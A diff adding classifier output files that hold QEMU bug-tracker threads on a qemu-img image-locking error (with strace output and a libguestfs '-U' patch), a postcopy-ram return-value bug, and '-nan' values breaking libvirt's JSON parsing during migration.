+mprotect(0x7f20cb85d000, 2093056, PROT_NONE) = 0 +mmap(0x7f20cba5c000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1b000) = 0x7f20cba5c000 +mmap(0x7f20cba5d000, 16, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f20cba5d000 +close(3) = 0 +openat(AT_FDCWD, "/lib64/libunistring.so.2", O_RDONLY|O_CLOEXEC) = 3 +read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\20\17\1\0\0\0\0\0"..., 832) = 832 +fstat(3, {st_mode=S_IFREG|0755, st_size=1513480, ...}) = 0 +mmap(NULL, 3608840, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f20cb4cf000 +mprotect(0x7f20cb63c000, 2093056, PROT_NONE) = 0 +mmap(0x7f20cb83b000, 20480, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x16c000) = 0x7f20cb83b000 +mmap(0x7f20cb840000, 264, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f20cb840000 +close(3) = 0 +openat(AT_FDCWD, "/lib64/libtasn1.so.6", O_RDONLY|O_CLOEXEC) = 3 +read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\260,\0\0\0\0\0\0"..., 832) = 832 +fstat(3, {st_mode=S_IFREG|0755, st_size=77536, ...}) = 0 +mmap(NULL, 2171592, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f20cb2bc000 +mprotect(0x7f20cb2cd000, 2097152, PROT_NONE) = 0 +mmap(0x7f20cb4cd000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x11000) = 0x7f20cb4cd000 +close(3) = 0 +openat(AT_FDCWD, "/lib64/libhogweed.so.4", O_RDONLY|O_CLOEXEC) = 3 +read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\360w\0\0\0\0\0\0"..., 832) = 832 +fstat(3, {st_mode=S_IFREG|0755, st_size=188072, ...}) = 0 +mmap(NULL, 2281480, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f20cb08e000 +mprotect(0x7f20cb0ba000, 2097152, PROT_NONE) = 0 +mmap(0x7f20cb2ba000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x2c000) = 0x7f20cb2ba000 +mmap(0x7f20cb2bb000, 8, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f20cb2bb000 +close(3) = 0 +openat(AT_FDCWD, "/lib64/libgmp.so.10", O_RDONLY|O_CLOEXEC) = 3 +read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0@\305\0\0\0\0\0\0"..., 832) = 832 +fstat(3, {st_mode=S_IFREG|0755, st_size=495800, ...}) = 0 +mmap(NULL, 2584736, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f20cae16000 +mprotect(0x7f20cae8c000, 2093056, PROT_NONE) = 0 +mmap(0x7f20cb08b000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x75000) = 0x7f20cb08b000 +close(3) = 0 +openat(AT_FDCWD, "/lib64/libffi.so.6", O_RDONLY|O_CLOEXEC) = 3 +read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\300\27\0\0\0\0\0\0"..., 832) = 832 +fstat(3, {st_mode=S_IFREG|0755, st_size=31896, ...}) = 0 +mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f20ce9e9000 +mmap(NULL, 2127048, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f20cac0e000 +mprotect(0x7f20cac15000, 2093056, PROT_NONE) = 0 +mmap(0x7f20cae14000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x6000) = 0x7f20cae14000 +close(3) = 0 +mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f20ce9e7000 +mmap(NULL, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f20ce9e4000 +arch_prctl(ARCH_SET_FS, 0x7f20ce9e4900) = 0 +mprotect(0x7f20cc5dd000, 16384, PROT_READ) = 0 +mprotect(0x7f20cae14000, 4096, PROT_READ) = 0 +mprotect(0x7f20cb08b000, 8192, PROT_READ) = 0 +mprotect(0x7f20cd89f000, 8192, PROT_READ) = 0 +mprotect(0x7f20cb2ba000, 4096, PROT_READ) = 0 +mprotect(0x7f20cb4cd000, 4096, PROT_READ) = 0 +mprotect(0x7f20cb83b000, 16384, PROT_READ) = 0 +mprotect(0x7f20cba5c000, 4096, PROT_READ) = 0 +mprotect(0x7f20cc800000, 4096, PROT_READ) = 0 +mprotect(0x7f20cc202000, 4096, PROT_READ) = 0 +mprotect(0x7f20cbd77000, 45056, PROT_READ) = 0 +mprotect(0x7f20cbffe000, 4096, PROT_READ) = 0 +mprotect(0x7f20cca1b000, 4096, PROT_READ) = 0 +mprotect(0x7f20ccd70000, 4096, PROT_READ) = 0 +mprotect(0x7f20cd0e9000, 40960, PROT_READ) = 0 +mprotect(0x7f20cd2f9000, 4096, PROT_READ) = 0 +mprotect(0x7f20ce7e1000, 4096, PROT_READ) = 0 +mprotect(0x7f20cd65b000, 53248, PROT_READ) = 0 +mprotect(0x7f20cdaa6000, 4096, PROT_READ) = 0 +mprotect(0x7f20cdcae000, 4096, PROT_READ) = 0 +mprotect(0x7f20ce1c3000, 4096, PROT_READ) = 0 +mprotect(0x7f20cdeb0000, 4096, PROT_READ) = 0 +mprotect(0x7f20ce3c8000, 4096, PROT_READ) = 0 +mprotect(0x7f20ce5ca000, 4096, PROT_READ) = 0 +mprotect(0x56278f387000, 24576, PROT_READ) = 0 +mprotect(0x7f20cea0a000, 4096, PROT_READ) = 0 +munmap(0x7f20ce9f1000, 93275) = 0 +set_tid_address(0x7f20ce9e4bd0) = 4326 +set_robust_list(0x7f20ce9e4be0, 24) = 0 +rt_sigaction(SIGRTMIN, {sa_handler=0x7f20cc5ecc10, sa_mask=[], sa_flags=SA_RESTORER|SA_SIGINFO, sa_restorer=0x7f20cc5f9a80}, NULL, 8) = 0 +rt_sigaction(SIGRT_1, {sa_handler=0x7f20cc5eccb0, sa_mask=[], sa_flags=SA_RESTORER|SA_RESTART|SA_SIGINFO, sa_restorer=0x7f20cc5f9a80}, NULL, 8) = 0 +rt_sigprocmask(SIG_UNBLOCK, [RTMIN RT_1], NULL, 8) = 0 +prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0 +futex(0x7f20cbd8c0c0, FUTEX_WAKE_PRIVATE, 2147483647) = 0 +brk(NULL) = 0x562790488000 +brk(0x5627904a9000) = 0x5627904a9000 +brk(0x5627904ca000) = 0x5627904ca000 +getrandom("\xc2", 1, GRND_NONBLOCK) = 1 +stat("/etc/crypto-policies/back-ends/gnutls.config", {st_mode=S_IFREG|0644, st_size=465, ...}) = 0 +openat(AT_FDCWD, "/etc/crypto-policies/back-ends/gnutls.config", O_RDONLY) = 3 +fstat(3, {st_mode=S_IFREG|0644, st_size=465, ...}) = 0 +lseek(3, 0, SEEK_CUR) = 0 +fstat(3, {st_mode=S_IFREG|0644, st_size=465, ...}) = 0 +read(3, "SYSTEM=NONE:+AEAD:+SHA1:+SHA256:"..., 4096) = 465 +read(3, "", 4096) = 0 +close(3) = 0 +rt_sigaction(SIGPIPE, {sa_handler=SIG_IGN, sa_mask=[PIPE], sa_flags=SA_RESTORER|SA_RESTART, sa_restorer=0x7f20cc23b6f0}, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0 +readlink("/proc/self/exe", "/usr/bin/qemu-img", 4095) = 17 +prctl(PR_SET_TIMERSLACK, 1) = 0 +rt_sigprocmask(SIG_BLOCK, [BUS USR1 ALRM IO], NULL, 8) = 0 +signalfd(-1, [BUS ALRM IO], 8) = 3 +fcntl(3, F_GETFD) = 0 +fcntl(3, F_SETFD, FD_CLOEXEC) = 0 +fcntl(3, F_GETFL) = 0x2 (flags O_RDWR) +fcntl(3, F_SETFL, O_RDWR|O_NONBLOCK) = 0 +epoll_create1(EPOLL_CLOEXEC) = 4 +eventfd2(0, EFD_CLOEXEC|EFD_NONBLOCK) = 5 +epoll_create1(EPOLL_CLOEXEC) = 6 +eventfd2(0, EFD_CLOEXEC|EFD_NONBLOCK) = 7 +futex(0x7f20ce1c4e88, FUTEX_WAKE_PRIVATE, 2147483647) = 0 +eventfd2(0, EFD_CLOEXEC|EFD_NONBLOCK) = 8 +brk(NULL) = 0x5627904ca000 +brk(0x5627904eb000) = 0x5627904eb000 +openat(AT_FDCWD, "/home/ykaul/ovirt-system-tests/deployment-basic-suite-master/default/images/lago-basic-suite-master-host-1_root.qcow2", O_RDONLY|O_NONBLOCK|O_CLOEXEC) = 9 +fstat(9, {st_mode=S_IFREG|0666, st_size=43122688, ...}) = 0 +close(9) = 0 +stat("/home/ykaul/ovirt-system-tests/deployment-basic-suite-master/default/images/lago-basic-suite-master-host-1_root.qcow2", {st_mode=S_IFREG|0666, st_size=43122688, ...}) = 0 +openat(AT_FDCWD, "/dev/urandom", O_RDONLY) = 9 +read(9, "\364\275^\0\226\321$\2337\356\311\301li\305\206", 16) = 16 +close(9) = 0 +futex(0x7f20ce1c4e88, FUTEX_WAKE_PRIVATE, 2147483647) = 0 +openat(AT_FDCWD, "/dev/null", O_RDWR) = 9 +fcntl(9, F_OFD_GETLK, {l_type=F_UNLCK, l_whence=SEEK_SET, l_start=0, l_len=0, l_pid=0}) = 0 +close(9) = 0 +openat(AT_FDCWD, "/home/ykaul/ovirt-system-tests/deployment-basic-suite-master/default/images/lago-basic-suite-master-host-1_root.qcow2", O_RDONLY|O_CLOEXEC) = 9 +openat(AT_FDCWD, "/home/ykaul/ovirt-system-tests/deployment-basic-suite-master/default/images/lago-basic-suite-master-host-1_root.qcow2", O_RDONLY|O_CLOEXEC) = 10 +fstat(9, {st_mode=S_IFREG|0666, st_size=43122688, ...}) = 0 +lseek(9, 0, SEEK_END) = 43122688 +fstat(9, {st_mode=S_IFREG|0666, st_size=43122688, ...}) = 0 +fcntl(10, F_OFD_SETLK, {l_type=F_RDLCK, l_whence=SEEK_SET, l_start=100, l_len=1}) = 0 +fcntl(10, F_OFD_GETLK, {l_type=F_UNLCK, l_whence=SEEK_SET, l_start=200, l_len=1, l_pid=0}) = 0 +fcntl(10, F_OFD_SETLK, {l_type=F_RDLCK, l_whence=SEEK_SET, l_start=100, l_len=1}) = 0 +fcntl(10, F_OFD_SETLK, {l_type=F_UNLCK, l_whence=SEEK_SET, l_start=101, l_len=1}) = 0 +fcntl(10, F_OFD_SETLK, {l_type=F_UNLCK, l_whence=SEEK_SET, l_start=102, l_len=1}) = 0 +fcntl(10, F_OFD_SETLK, {l_type=F_UNLCK, l_whence=SEEK_SET, l_start=103, l_len=1}) = 0 +fcntl(10, F_OFD_SETLK, {l_type=F_UNLCK, l_whence=SEEK_SET, l_start=104, l_len=1}) = 0 +fcntl(10, F_OFD_SETLK, {l_type=F_UNLCK, l_whence=SEEK_SET, l_start=200, l_len=1}) = 0 +fcntl(10, F_OFD_SETLK, {l_type=F_UNLCK, l_whence=SEEK_SET, l_start=201, l_len=1}) = 0 +fcntl(10, F_OFD_SETLK, {l_type=F_UNLCK, l_whence=SEEK_SET, l_start=202, l_len=1}) = 0 +fcntl(10, F_OFD_SETLK, {l_type=F_UNLCK, l_whence=SEEK_SET, l_start=203, l_len=1}) = 0 +fcntl(10, F_OFD_SETLK, {l_type=F_UNLCK, l_whence=SEEK_SET, l_start=204, l_len=1}) = 0 +rt_sigprocmask(SIG_BLOCK, NULL, [BUS USR1 ALRM IO], 8) = 0 +mmap(NULL, 1052672, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f20ce8e3000 +mprotect(0x7f20ce8e3000, 4096, PROT_NONE) = 0 +rt_sigprocmask(SIG_SETMASK, [BUS USR1 ALRM IO], [BUS USR1 ALRM IO], 8) = 0 +ppoll([{fd=7, events=POLLIN|POLLERR|POLLHUP}], 1, {tv_sec=0, tv_nsec=0}, NULL, 8) = 0 (Timeout) +rt_sigprocmask(SIG_SETMASK, ~[RTMIN RT_1], [BUS USR1 ALRM IO], 8) = 0 +mmap(NULL, 8392704, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_STACK, -1, 0) = 0x7f20ca40d000 +mprotect(0x7f20ca40e000, 8388608, PROT_READ|PROT_WRITE) = 0 +clone(child_stack=0x7f20cac0cdf0, flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, parent_tidptr=0x7f20cac0d9d0, tls=0x7f20cac0d700, child_tidptr=0x7f20cac0d9d0) = 4327 +rt_sigprocmask(SIG_SETMASK, [BUS USR1 ALRM IO], NULL, 8) = 0 +futex(0x5627904beb20, FUTEX_WAKE_PRIVATE, 1) = 1 +ppoll([{fd=7, events=POLLIN|POLLERR|POLLHUP}], 1, NULL, NULL, 8) = 1 ([{fd=7, revents=POLLIN}]) +read(7, "\1\0\0\0\0\0\0\0", 512) = 8 +ppoll([{fd=7, events=POLLIN|POLLERR|POLLHUP}], 1, {tv_sec=0, tv_nsec=0}, NULL, 8) = 0 (Timeout) +fcntl(10, F_OFD_SETLK, {l_type=F_RDLCK, l_whence=SEEK_SET, l_start=100, l_len=1}) = 0 +fcntl(10, F_OFD_SETLK, {l_type=F_RDLCK, l_whence=SEEK_SET, l_start=201, l_len=1}) = 0 +fcntl(10, F_OFD_SETLK, {l_type=F_RDLCK, l_whence=SEEK_SET, l_start=203, l_len=1}) = 0 +fcntl(10, F_OFD_GETLK, {l_type=F_UNLCK, l_whence=SEEK_SET, l_start=200, l_len=1, l_pid=0}) = 0 +fcntl(10, F_OFD_GETLK, {l_type=F_RDLCK, l_whence=SEEK_SET, l_start=100, l_len=2, l_pid=18446744073709551615}) = 0 +fcntl(10, F_OFD_SETLK, {l_type=F_RDLCK, l_whence=SEEK_SET, l_start=100, l_len=1}) = 0 +fcntl(10, F_OFD_SETLK, {l_type=F_UNLCK, l_whence=SEEK_SET, l_start=101, l_len=1}) = 0 +fcntl(10, F_OFD_SETLK, {l_type=F_UNLCK, l_whence=SEEK_SET, l_start=102, l_len=1}) = 0 +fcntl(10, F_OFD_SETLK, {l_type=F_UNLCK, l_whence=SEEK_SET, l_start=103, l_len=1}) = 0 +fcntl(10, F_OFD_SETLK, {l_type=F_UNLCK, l_whence=SEEK_SET, l_start=104, l_len=1}) = 0 +fcntl(10, F_OFD_SETLK, {l_type=F_UNLCK, l_whence=SEEK_SET, l_start=200, l_len=1}) = 0 +fcntl(10, F_OFD_SETLK, {l_type=F_UNLCK, l_whence=SEEK_SET, l_start=201, l_len=1}) = 0 +fcntl(10, F_OFD_SETLK, {l_type=F_UNLCK, l_whence=SEEK_SET, l_start=202, l_len=1}) = 0 +fcntl(10, F_OFD_SETLK, {l_type=F_UNLCK, l_whence=SEEK_SET, l_start=203, l_len=1}) = 0 +fcntl(10, F_OFD_SETLK, {l_type=F_UNLCK, l_whence=SEEK_SET, l_start=204, l_len=1}) = 0 +fcntl(10, F_OFD_SETLK, {l_type=F_RDLCK, l_whence=SEEK_SET, l_start=100, l_len=1}) = 0 +fcntl(10, F_OFD_SETLK, {l_type=F_UNLCK, l_whence=SEEK_SET, l_start=101, l_len=1}) = 0 +fcntl(10, F_OFD_SETLK, {l_type=F_UNLCK, l_whence=SEEK_SET, l_start=102, l_len=1}) = 0 +fcntl(10, F_OFD_SETLK, {l_type=F_UNLCK, l_whence=SEEK_SET, l_start=103, l_len=1}) = 0 +fcntl(10, F_OFD_SETLK, {l_type=F_UNLCK, l_whence=SEEK_SET, l_start=104, l_len=1}) = 0 +fcntl(10, F_OFD_SETLK, {l_type=F_UNLCK, l_whence=SEEK_SET, l_start=200, l_len=1}) = 0 +fcntl(10, F_OFD_SETLK, {l_type=F_UNLCK, l_whence=SEEK_SET, l_start=201, l_len=1}) = 0 +fcntl(10, F_OFD_SETLK, {l_type=F_UNLCK, l_whence=SEEK_SET, l_start=202, l_len=1}) = 0 +fcntl(10, F_OFD_SETLK, {l_type=F_UNLCK, l_whence=SEEK_SET, l_start=203, l_len=1}) = 0 +fcntl(10, F_OFD_SETLK, {l_type=F_UNLCK, l_whence=SEEK_SET, l_start=204, l_len=1}) = 0 +fcntl(10, F_OFD_SETLK, {l_type=F_RDLCK, l_whence=SEEK_SET, l_start=100, l_len=1}) = 0 +fcntl(10, F_OFD_SETLK, {l_type=F_UNLCK, l_whence=SEEK_SET, l_start=100, l_len=1}) = 0 +fcntl(10, F_OFD_SETLK, {l_type=F_UNLCK, l_whence=SEEK_SET, l_start=101, l_len=1}) = 0 +fcntl(10, F_OFD_SETLK, {l_type=F_UNLCK, l_whence=SEEK_SET, l_start=102, l_len=1}) = 0 +fcntl(10, F_OFD_SETLK, {l_type=F_UNLCK, l_whence=SEEK_SET, l_start=103, l_len=1}) = 0 +fcntl(10, F_OFD_SETLK, {l_type=F_UNLCK, l_whence=SEEK_SET, l_start=104, l_len=1}) = 0 +fcntl(10, F_OFD_SETLK, {l_type=F_UNLCK, l_whence=SEEK_SET, l_start=200, l_len=1}) = 0 +fcntl(10, F_OFD_SETLK, {l_type=F_UNLCK, l_whence=SEEK_SET, l_start=201, l_len=1}) = 0 +fcntl(10, F_OFD_SETLK, {l_type=F_UNLCK, l_whence=SEEK_SET, l_start=202, l_len=1}) = 0 +fcntl(10, F_OFD_SETLK, {l_type=F_UNLCK, l_whence=SEEK_SET, l_start=203, l_len=1}) = 0 +fcntl(10, F_OFD_SETLK, {l_type=F_UNLCK, l_whence=SEEK_SET, l_start=204, l_len=1}) = 0 +ppoll([{fd=7, events=POLLIN|POLLERR|POLLHUP}], 1, {tv_sec=0, tv_nsec=0}, NULL, 8) = 0 (Timeout) +rt_sigprocmask(SIG_BLOCK, NULL, [BUS USR1 ALRM IO], 8) = 0 +mmap(NULL, 1052672, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f20ca30c000 +mprotect(0x7f20ca30c000, 4096, PROT_NONE) = 0 +rt_sigprocmask(SIG_SETMASK, [BUS USR1 ALRM IO], [BUS USR1 ALRM IO], 8) = 0 +ppoll([{fd=7, events=POLLIN|POLLERR|POLLHUP}], 1, {tv_sec=0, tv_nsec=0}, NULL, 8) = 0 (Timeout) +ppoll([{fd=7, events=POLLIN|POLLERR|POLLHUP}], 1, {tv_sec=0, tv_nsec=0}, NULL, 8) = 0 (Timeout) +close(9) = 0 +close(10) = 0 +ppoll([{fd=7, events=POLLIN|POLLERR|POLLHUP}], 1, {tv_sec=0, tv_nsec=0}, NULL, 8) = 0 (Timeout) +rt_sigprocmask(SIG_BLOCK, NULL, [BUS USR1 ALRM IO], 8) = 0 +mmap(NULL, 1052672, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f20ca20b000 +mprotect(0x7f20ca20b000, 4096, PROT_NONE) = 0 +rt_sigprocmask(SIG_SETMASK, [BUS USR1 ALRM IO], [BUS USR1 ALRM IO], 8) = 0 +ppoll([{fd=7, events=POLLIN|POLLERR|POLLHUP}], 1, {tv_sec=0, tv_nsec=0}, NULL, 8) = 0 (Timeout) +ppoll([{fd=7, events=POLLIN|POLLERR|POLLHUP}], 1, {tv_sec=0, tv_nsec=0}, NULL, 8) = 0 (Timeout) +fstat(2, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 1), ...}) = 0 +write(2, "qemu-img: Could not open '/home/"..., 180qemu-img: Could not open '/home/ykaul/ovirt-system-tests/deployment-basic-suite-master/default/images/lago-basic-suite-master-host-1_root.qcow2': Failed to get shared "write" lock +) = 180 +write(2, "Is another process using the ima"..., 36Is another process using the image? +) = 36 +exit_group(1) = ? ++++ exited with 1 +++ + + +[ykaul@ykaul ovirt-system-tests]$ stat /home/ykaul/ovirt-system-tests/deployment-basic-suite-master/default/images/lago-basic-suite-master-host-1_root.qcow2 + File: /home/ykaul/ovirt-system-tests/deployment-basic-suite-master/default/images/lago-basic-suite-master-host-1_root.qcow2 + Size: 43122688 Blocks: 84112 IO Block: 4096 regular file +Device: fd03h/64771d Inode: 4718904 Links: 1 +Access: (0666/-rw-rw-rw-) Uid: ( 107/ qemu) Gid: ( 107/ qemu) +Context: system_u:object_r:svirt_image_t:s0:c635,c936 +Access: 2017-12-28 09:28:17.892598375 +0200 +Modify: 2017-12-28 09:31:10.456906255 +0200 +Change: 2017-12-28 09:31:10.456906255 +0200 + +The behaviour should be expected. Since qemu 2.10, image locking is +enabled which make multiple QEMU processes cannot write to the same +image, even if boot snapshot and backing file at the same time are +not allowed. +You could get image info with the option "-U" as below: +$qemu-img info -U $ImageName +The reason qcow2 is not allowed is because metadata has to be read +from the image file, and it is not safe if the image is being used +by the VM, because it may update metadata while we read it, +resulting in inconsistent or wrong output. + + + +Thanks for the explanation, I thought it might be related, but: +1. The command executed is: +qemu-img create -f qcow2 -o backing_file=/home/ykaul/ovirt-system-tests/deployment-basic-suite-master/default/images/lago-basic-suite-master-host-1_root.qcow2 /tmp/libguestfsWrA7Dh/overlay1.qcow2 + +And the error: +qemu-img: /tmp/libguestfsWrA7Dh/overlay1.qcow2: Failed to get shared "write" lock + +It's not clear why it'd need a lock on a freshly created qcow2 file, or why it'd fail taking one. +The backing file is indeed shared - are we concerned it might be in use?! + +2. How do I know if qemu-img support the '-u' option or not? Is there some way to probe for it? + +1. The error prompt may be misleading. I guess your backing image should be running. It should report that "failed to get the lock of backing image". The operation will be allowed in the future. + +2. Check the help doc of qemu-img, the you can get the support sub-command by force share option "-U". +$ ./qemu-img --help | grep -- "-U" + +On Fri, Jan 05, 2018 at 02:44:54AM -0000, Ping Li wrote: +> The behaviour should be expected. Since qemu 2.10, image locking is +> enabled which make multiple QEMU processes cannot write to the same +> image, even if boot snapshot and backing file at the same time are +> not allowed. +> You could get image info with the option "-U" as below: +> $qemu-img info -U $ImageName +> The reason qcow2 is not allowed is because metadata has to be read +> from the image file, and it is not safe if the image is being used +> by the VM, because it may update metadata while we read it, +> resulting in inconsistent or wrong output. + +The higher layers deal with inconsistent output. We want a way to +turn off locking when *we* know that it's safe, qemu doesn't have a +way to know that. + +Interestingly the -U option is undocumented, but it seems like what we +want here. + +Yaniv, how about this (only lightly tested): + +diff --git a/lib/info.c b/lib/info.c +index 4464df994..460596373 100644 +--- a/lib/info.c ++++ b/lib/info.c +@@ -193,6 +193,7 @@ get_json_output (guestfs_h *g, const char *filename) + + guestfs_int_cmd_add_arg (cmd, QEMU_IMG); + guestfs_int_cmd_add_arg (cmd, "info"); ++ guestfs_int_cmd_add_arg (cmd, "-U"); + guestfs_int_cmd_add_arg (cmd, "--output"); + guestfs_int_cmd_add_arg (cmd, "json"); + guestfs_int_cmd_add_arg (cmd, fdpath); + + +Rich. + +-- +Richard Jones, Virtualization Group, Red Hat http://people.redhat.com/~rjones +Read my programming and virtualization blog: http://rwmj.wordpress.com +virt-df lists disk usage of guests without needing to install any +software inside the virtual machine. Supports Linux and Windows. +http://people.redhat.com/~rjones/virt-df/ + + +Fixed upstream in https://github.com/libguestfs/libguestfs/commit/f00f920ad3b15ab8e9e8f201c16e7628b6b7b109 + +The fix should appear in libguestfs 1.40. + +Sorry I noticed this bug is filed against qemu. The fix was done in libguestfs, it's not a bug in qemu as far as I know. + +Since this was a libguestfs bug, let's close this here in the QEMU bug tracker now. + diff --git a/results/classifier/deepseek-1/output/migration/1885720 b/results/classifier/deepseek-1/output/migration/1885720 new file mode 100644 index 00000000..aa6ce6ee --- /dev/null +++ b/results/classifier/deepseek-1/output/migration/1885720 @@ -0,0 +1,23 @@ + +qemu/migration/postcopy-ram.c:387: bad return expression ? + +qemu/migration/postcopy-ram.c:387:9: style: Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction] + +Source code is + + return -1; + +but + +bool postcopy_ram_supported_by_host( + +That looks like a bug, indeed! + +Yes, I think a goto out; there makes sense; nearly 5 years old that error :-) + +Posted: +migration: postcopy take proper error return + +Fix has been merged: +https://git.qemu.org/?p=qemu.git;a=commitdiff;h=617a32f5295ee4e + diff --git a/results/classifier/deepseek-1/output/mistranslation**./1585533 b/results/classifier/deepseek-1/output/mistranslation**./1585533 new file mode 100644 index 00000000..cc5fc023 --- /dev/null +++ b/results/classifier/deepseek-1/output/mistranslation**./1585533 @@ -0,0 +1,87 @@ + +cache-miss-rate / Invalid JSON + +Hi, + +We have VMs which were started with an older version than qemu 2.1 which added "cache-miss-rate" property for XBZRLECacheStats. While trying to migrate the VM to a new host which is running a higher version (2.3) of Qemu we got an exception: + +virJSONValueFromString:1642 : internal error: cannot parse json {"return": {"expected-downtime": 1, "xbzrle-cache": {"bytes": 0, "cache-size": 67108864, "cache-miss-rate": -nan, "pages": 0, "overflow": 0, "cache-miss": 8933}, "status": "active", "disk": {"total": 429496729600, "dirty-sync-count": 0, "remaining": 193896382464, "mbps": 0, "transferred": 235600347136, "duplicate": 0, "dirty-pages-rate": 0, "skipped": 0, "normal-bytes": 0, "normal": 0}, "setup-time": 13, "total-time": 1543124, "ram": {"total": 8599183360, "dirty-sync-count": 4, "remaining": 30695424, "mbps": 830.636997, "transferred": 3100448901, "duplicate": 1358341, "dirty-pages-rate": 7, "skipped": 0, "normal-bytes": 3082199040, "normal": 752490}}, "id": "libvirt-186200"}: lexical error: malformed number, a digit is required after the minus sign. + 67108864, "cache-miss-rate": -nan, "pages": 0, "overflow": 0 + (right here) ------^ + +virNetClientStreamRaiseError:191 : stream aborted at client request + + +Would it be possible to improve the JSON parser to skip the key if the value is incorrect instead of throwing an exception? Then hopefully qemu 2.3 or higher is able to handle the data without this property, falling back to its default. + +Sorry, the bug is in libvirt + +On 05/25/2016 02:46 AM, Marc Brothier wrote: +> Public bug reported: +> +> Hi, +> +> We have VMs which were started with an older version than qemu 2.1 which +> added "cache-miss-rate" property for XBZRLECacheStats. While trying to +> migrate the VM to a new host which is running a higher version (2.3) of +> Qemu we got an exception: +> +> virJSONValueFromString:1642 : internal error: cannot parse json {"return": {"expected-downtime": 1, "xbzrle-cache": {"bytes": 0, "cache-size": 67108864, "cache-miss-rate": -nan, "pages": 0, "overflow": 0, "cache-miss": 8933}, "status": "active", "disk": {"total": 429496729600, "dirty-sync-count": 0, "remaining": 193896382464, "mbps": 0, "transferred": 235600347136, "duplicate": 0, "dirty-pages-rate": 0, "skipped": 0, "normal-bytes": 0, "normal": 0}, "setup-time": 13, "total-time": 1543124, "ram": {"total": 8599183360, "dirty-sync-count": 4, "remaining": 30695424, "mbps": 830.636997, "transferred": 3100448901, "duplicate": 1358341, "dirty-pages-rate": 7, "skipped": 0, "normal-bytes": 3082199040, "normal": 752490}}, "id": "libvirt-186200"}: lexical error: malformed number, a digit is required after the minus sign. +> 67108864, "cache-miss-rate": -nan, "pages": 0, "overflow": 0 +> (right here) ------^ +> +> virNetClientStreamRaiseError:191 : stream aborted at client request + +Wow - I've known we have a problem with qemu emitting non-compliant +JSON, but this proves that it is fatal to libvirt. I guess my series on +improving the JSON parser [1] should consider doing a fallback to +s/NaN/0/ and s/Inf/DBL_MAX/ rather than completely erroring out when a +client tries to request it. Meanwhile, it's an easy patch to qemu to +avoid division by zero when generating cache-miss-rate. + +[1] https://lists.gnu.org/archive/html/qemu-devel/2016-05/msg03424.html + +> +> +> Would it be possible to improve the JSON parser to skip the key if the value is incorrect + +Libvirt uses libyajl to parse JSON, and libyajl has an outstanding bug +request to support extensions to JSON such as parsing non-finite floats. + Since there has been no upstream reaction to the bug request, I +seriously doubt it will happen any time soon, so any change to tolerate +NaN in libvirt would have to be a one-off patch. It sounds like the +better fix is to make qemu emit valid JSON in the first place, rather +than making libvirt deal with broken JSON from qemu. + +-- +Eric Blake eblake redhat com +1-919-301-3266 +Libvirt virtualization library http://libvirt.org + + + +Ok, then I'll reopen the bug with a request to fix JSON output in qemu. + +Also found a patch in qemu 2.4.0 (?) which fix a zero division: https://lists.gnu.org/archive/html/qemu-devel/2015-05/msg01173.html which might be the source of the problem. + +Marc, what distro are you running on? QEMU 2.3 is not maintained anymore upstream, so unless you are running on Ubuntu (and then we can reuse this bug tracker) you'll have to reopen the bug in your distro. + +We're using Ubuntu, and we manually patched the version 2.3 with the fix referenced. It will be soon deployed and I'll see if that fixes the problem. + +We tried to migrate a VM, and now we have a new error: + +error : virNetClientProgramDispatchError:177 : internal error: info migration reply was missing return status + +:( + +I didn't look properly, it's the same error with the patch applied. + +Well, to make this work we updated the libvirt code to correct such invalid value and put a "0" in that case for the "cache-miss-rate" value. Can someone confirm that it putting a "0" is a valid choice, or shall we have something else? + 